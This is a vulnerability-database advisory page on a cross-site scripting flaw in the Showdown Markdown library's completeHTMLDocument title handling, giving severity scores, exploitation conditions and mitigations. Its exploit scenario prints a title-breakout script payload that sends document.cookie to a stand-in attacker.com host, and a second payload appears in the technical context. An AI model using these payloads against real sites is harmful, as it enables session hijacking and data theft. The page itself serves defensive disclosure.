Skip to main content

Showdown EUVDEUVD-2026-41948

| CVE-2026-59711 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-06 VulnCheck GHSA-cr32-g25g-vxjj
5.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit Markdown with crafted title frontmatter
  2. Delivery
    Application renders with completeHTMLDocument enabled
  3. Exploit
    Unescaped title breaks HTML context
  4. Execution
    Injected script embedded in served page
  5. Persist
    Victim browser loads rendered document
  6. Impact
    Malicious script executes in victim session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two concurrent conditions: first, the target application must explicitly enable Showdown's completeHTMLDocument option, which is not the default configuration - applications using Showdown for standard fragment rendering are not affected by this vulnerability. Second, the attacker must be able to supply or influence the Markdown frontmatter metadata processed by Showdown, such as through a user-submitted document, editable wiki page, or content import feature. The CVSS 4.0 UI:P metric confirms that a victim must passively load or view the rendered HTML output for script execution to occur; the attacker cannot trigger execution autonomously. Exploitation is limited to the frontmatter title metadata parsing path; Markdown body content is not affected by this specific flaw. These two conditions together significantly narrow the realistic attack surface compared to the raw CVSS score.

Impact

The CVSS 4.0 score of 5.3 (Medium) is well-calibrated to the actual risk. The vector AV:N/AC:L/AT:N/PR:N/UI:P reflects a low-friction, network-accessible attack requiring no privileges - but passive victim interaction (UI:P) is necessary, meaning the attacker cannot trigger execution autonomously. Subsequent-system impact metrics SC:L/SI:L confirm scope change consistent with browser-context XSS, where the affected resource is the victim's session rather than the server itself. No EPSS score was provided; exploitation probability cannot be quantified from available signals. The vulnerability is absent from CISA KEV, and no POC has been confirmed in the provided data. The most significant risk-limiting factor is the non-default completeHTMLDocument requirement - the vast majority of Showdown deployments use fragment rendering and are entirely unaffected. Real-world risk is elevated only for applications that explicitly enable this option and accept user-controlled Markdown frontmatter, such as user-editable wikis or collaborative document tools.

Exploit ScenarioDerived

An attacker submits a Markdown document with a crafted frontmatter title - for example, title: x</title><script>fetch('https://attacker.com/exfil?c='+document.cookie)</script> - to a web application that processes user-supplied content with Showdown's completeHTMLDocument option enabled. The application renders and stores this output, and when a victim user loads the page, the injected script executes in their browser session, exfiltrating session cookies or performing authenticated actions on their behalf. No public proof-of-concept exploit has been identified at time of analysis, though the injection technique is straightforward given the explicit description of the unescaped character handling.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 06, 2026

Cross-site scripting in Showdown (all versions ≤ 2.1.0) allows network-accessible injection of arbitrary HTML and JavaScript into rendered pages when the non-default completeHTMLDocument option is enabled. Unescaped < and > characters in Markdown frontmatter title metadata are written directly into the HTML <title> element, enabling title-context breakout and script execution in victim browsers. No public exploit has been identified at time of analysis and the vulnerability is not listed in CISA KEV, but the attack surface includes any web application that renders attacker-supplied Markdown with completeHTMLDocument enabled.

RemediationAI

No vendor-released patched version has been confirmed at time of analysis; upstream fix progress can be tracked at https://github.com/showdownjs/showdown/issues/1047 and the VulnCheck advisory at https://www.vulncheck.com/advisories/showdown-cross-site-scripting-via-unescaped-metadata-title-in-completehtmldocument. The most effective immediate control is to disable the completeHTMLDocument option, which eliminates the vulnerable code path entirely with no functional impact on fragment-rendering use cases. If full HTML document generation is architecturally required, apply HTML entity encoding to all frontmatter metadata values before passing content to Showdown, or post-process the rendered output with a sanitization library such as DOMPurify prior to serving it to users - note that DOMPurify adds a runtime dependency and must be kept current. Restricting Markdown input to trusted, non-user-controlled sources removes the attack surface entirely. Monitor the upstream repository and VulnCheck advisory for a patched release.

Affected VersionsENISA

Showdown 0 ≤2.1.0

Affected Packages

npm showdown no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Showdown (CPE: cpe:2.3:a:showdown:showdown:*:*:*:*:*:*:*:*) is a JavaScript library that converts Markdown to HTML, commonly used in web applications, wikis, and documentation platforms. Its completeHTMLDocument option generates a full HTML document skeleton - including <html>, <head>, and <title> tags - rather than the default fragment output. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation): frontmatter metadata values, specifically the title field, are interpolated into the <title> element without HTML entity encoding. Because < and > are left unescaped, an attacker-controlled title such as foo</title><script>alert(document.cookie)</script> terminates the <title> context and injects executable content. This is a stored or reflected XSS depending on how the host application handles Markdown input and rendering.

Know when Showdown gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

No privileges required to submit frontmatter content (PR:N); victim must load rendered page (UI:R); scope changes as victim browser session is affected (S:C), with limited confidentiality and integrity impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Red Hat 6.1 MEDIUM

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

showdown contains a cross-site scripting vulnerability in metadata title handling that allows attackers to inject arbitrary HTML and JavaScript. When completeHTMLDocument option is enabled, unescaped less-than and greater-than characters in markdown frontmatter metadata are inserted directly into HTML title tags, enabling attackers to break out of the title context and execute malicious scripts in the rendered page.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 967 npm packages depend on showdown (483 direct, 495 indirect)

Ecosystem-wide dependent count for version 2.1.0.

Threat Intelligence Overview

EPSS Score
0.2%
Top 91% exploitable
Prevalence
Medium
popular JavaScript Markdown library with broad npm ecosystem adoption
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy